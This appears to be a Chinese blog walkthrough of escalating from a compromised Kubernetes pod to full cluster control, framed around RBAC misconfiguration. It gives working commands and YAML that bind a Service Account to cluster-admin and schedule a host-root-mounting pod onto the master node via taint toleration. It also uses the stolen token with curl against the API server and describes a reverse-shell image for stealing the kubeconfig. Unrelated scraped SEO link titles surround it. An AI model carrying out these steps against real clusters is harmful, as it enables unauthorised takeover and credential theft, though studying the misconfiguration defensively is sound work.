当前位置: 首页 > news >正文

网站建设月总结网站开发公司比较有名

网站建设月总结,网站开发公司比较有名,财佰通突然做网站维护,网站建设空间一般多大01、概述 Service Account本质是服务账号,是Pod连接K8s集群的凭证。在默认情况下,系统会为创建的Pod提供一个默认的Service Account,用户也可以自定义Service Account,与Service Account关联的凭证会自动挂载到Pod的文件系统中。 …

01、概述

Service Account本质是服务账号,是Pod连接K8s集群的凭证。在默认情况下,系统会为创建的Pod提供一个默认的Service Account,用户也可以自定义Service Account,与Service Account关联的凭证会自动挂载到Pod的文件系统中。

当攻击者通过某个web应用获取到一个Pod权限时,如果RBAC权限配置不当,Pod关联的Service Account拥有创建Pod的权限。攻击者就可以使用污点容忍的方式,将挂载根目录的恶意Pod调度到Master节点,获取Master 节点上的 kubeconfig 文件,从而直接接管整个集群。

02、攻击场景

(1)Service Account赋予bypass对test名称空间拥有管理员权限。

kubectl create serviceaccount bypass -n test
kubectl create rolebinding sa-admin --clusterrole=cluster-admin --serviceaccount=test:bypass -n test
kubectl get pod --as=system:serviceaccount:test:bypass

771f4fb9dcc10253417924d10a6c3f77.png

(2)在Pod中,使用自定义的Service Account。

9b2589f55e3915aa31624490b50a6590.png

# pod-sa.yaml
apiVersion: v1
kind: Pod
metadata:name: pod-sanamespace: test
spec:serviceAccountName: "bypass"containers:- name: ubuntuimage: ubuntu:20.04command: ['/bin/sh','-c','sleep 24h']

(3)在Pod创建时,Service Account关联的凭证,会挂载到 /var/run/secrets/kubernetes.io/serviceaccount/ 目录,其中ca.crt是证书、namespace是Pod所属的命名空间,token是访问API Server的令牌 。

0543edd9df5b19304f47388e3c1f4ee6.png

03、攻击过程

(1)攻击方式:kubectl 命令行操作

在Pod中,下载kubectl命令行工具,使用kubectl auth检查权限,拥有当前名称空间中所有执行操作的权限,这就具备了获取集群权限的条件。

bd6ac17a9a172294fa009f4ac0041236.png

编写一个yaml文件,将节点的根目录挂载到容器的/data 目录,使用污点容忍度创建恶意Pod来对Master节点进行横向控制。

如下图:将构建的Pod成功调度到Mater节点。

2b47bd452a2668a87403d68b718c962f.png

yaml文件内容:

apiVersion: v1
kind: Pod
metadata:name: pod1
spec:nodeSelector:node-role.kubernetes.io/master: ""tolerations:- key: "node-role.kubernetes.io/master"operator: "Exists"effect: NoSchedulecontainers:- image: nginx:1.20name: pod1volumeMounts:- mountPath: /dataname: datavolumes:- name: datahostPath:path: /

攻击者成功窃取 kubeconfig 文件,将获得对 Kubernetes 集群的完全控制权限,从而能够任意操控和管理整个集群。

f28a7e2acd1eb3c4f40c83464f1c37f5.png

(2)攻击方式:curl 命令操作

首先,创建一个包含恶意代码的镜像,用于反弹Shell,利用curl 命令操作 Kubernetes API创建Pod。

ca3df5f71a6da6d4db609b3765f388f1.png

TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)用curl创建pod
curl -k --header "Authorization: Bearer $TOKEN" \
-H 'Content-Type: application/yaml' \
-s -w "状态码是:%{http_code}\n" \
-d "$(cat /tmp/111.yaml)" \https://10.96.0.1/api/v1/namespaces/test/pods/

远程监听端口来接收Master节点创建的Pod反弹的shell连接,成功获取到kubeconfig文件。

c4a5679a0c0f7b4294c5353574b06cc2.png

http://www.yayakq.cn/news/935156/

相关文章:

  • 房屋中介网站模板长春建站程序
  • 可以访问违规网站的浏览器施工企业汛期工作实施方案
  • 福州建设网站设计wordpress页脚添加联系qq
  • 泉州彩票网站建设网址与网站的区别
  • 宣讲家网站支部建设asia域名的网站
  • 英雄联盟怎么做直播网站公司网站建设的费用
  • 做民宿的网站有哪些wordpress客户使用的后端
  • 傻瓜式php网站开发怎样建设一个韩国网站
  • 常州企业建站系统权威网站建设公司
  • 吉林品牌网站建设商家官网优化哪家专业
  • 免费的ui设计的网站wordpress新建分类目录
  • 机关网站建设管理工作自查报告大网站开发语言
  • 封开网站建设公司饮料代理招商网
  • 门户网站应该怎么做wordpress主题 图片展示
  • php红酒网站建设深圳市建网站公
  • 律师网站建设推广免费中文网站模板下载
  • 山东省住房城乡和建设厅网站首页湖州企业网站建设
  • 湖北专业网站建设大全如何开淘宝店
  • 什么网站可以做兼职浏览器观看的视频怎么下载
  • 整网站代码 带数据 免费 下载北京百度seo工作室
  • 定制网站制作技术wordpress图片懒加载插件
  • 黑群晖wordpress建站宁波网络营销有哪些
  • 阿里云安装网站网站建设技术团队有多重要性
  • 免费的网站推广渠道如何修改网站图片
  • 专业网站制作流程夸克观看免费视频
  • 网站开发需要学什么语言购物类网站建设方案
  • 网站自创免费涨热度软件
  • 昆山建设局网站首页杭州建站模板系统
  • 网站建设与管理专业就业前景怎么建一个小说网站
  • .net 网站开发 教程温州做网站设计